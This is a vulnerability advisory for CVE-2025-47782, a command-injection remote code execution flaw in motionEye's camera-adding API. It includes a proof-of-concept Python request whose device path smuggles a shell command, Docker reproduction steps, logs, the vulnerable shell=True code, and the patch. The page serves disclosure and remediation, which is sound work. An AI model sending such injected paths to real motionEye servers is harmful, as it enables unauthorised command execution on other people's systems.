CVE-2025-47782: motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
Summary Using a constructed (camera) device path with the config/add/addcamera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default. function call stack 1. post 2. addcamera 3. config.addcamera 4. v4l2ctl.listresolutions 5. utils.callsubprocess 6.
Published May 15, 2025
Affected packages
motioneye
- Ecosystem
- PyPI
- Affected
- >= 0.43.1b1, < 0.43.1b4
- Fixed in
- 0.43.1b4
- Check
pip show motioneye
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneyebash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server startedNow, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
Credited to hyperlyz, MichaIng.
References
- https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588
- https://nvd.nist.gov/vuln/detail/CVE-2025-47782
- https://github.com/motioneye-project/motioneye/issues/3142
- https://github.com/motioneye-project/motioneye/pull/3143
- https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml
- https://github.com/advisories/GHSA-g5mq-prx7-c588
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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